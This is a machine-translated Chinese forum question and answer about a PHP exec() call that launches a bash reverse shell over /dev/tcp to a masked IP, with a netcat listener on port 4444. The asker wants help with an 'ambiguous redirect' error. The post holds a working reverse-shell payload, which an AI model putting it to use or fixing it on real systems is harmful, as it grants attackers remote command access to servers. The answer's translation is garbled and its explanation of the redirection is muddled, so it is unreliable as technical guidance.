我有一个在端口4444上运行的netcat侦听器 nc -nlvp 4444
我有我正在调用的php代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.x.xx/4444 0>&1'");?>
但是,当我调用此PHP代码时,我会在NetCat侦听器上获得以下内容:
listening on [any] 4444 ...
connect to [xx.xx.x.xx] from (UNKNOWN) [xx.xx.x.xx] 59914
bash: 1");: ambiguous redirect
是什么原因造成的?
谢谢
错误完全意味着它所说的内容 - 您的重定向是模棱两可的。
"不清楚或不精确,因为替代方案之间的选择尚未 制作。"
0>&1
您的命令将文件描述符0
(STDIN(和重定向到文件描述符1
(STDOUT(,这似乎是毫无意义的,没有其他描述符。
这是一个说明歧义的示例:
bash -c 'ls >& $(echo "testing") 0>&1'
与:
相同bash -c 'ls >& $(echo "testing")'
尽管在重定向后面添加另一个描述符:
bash -c 'ls >& $(echo "testing") 0>&1 *'
当描述符尚不存在时,输出文件将其排除在外。
↳bash参考手册:重定向-gnu.org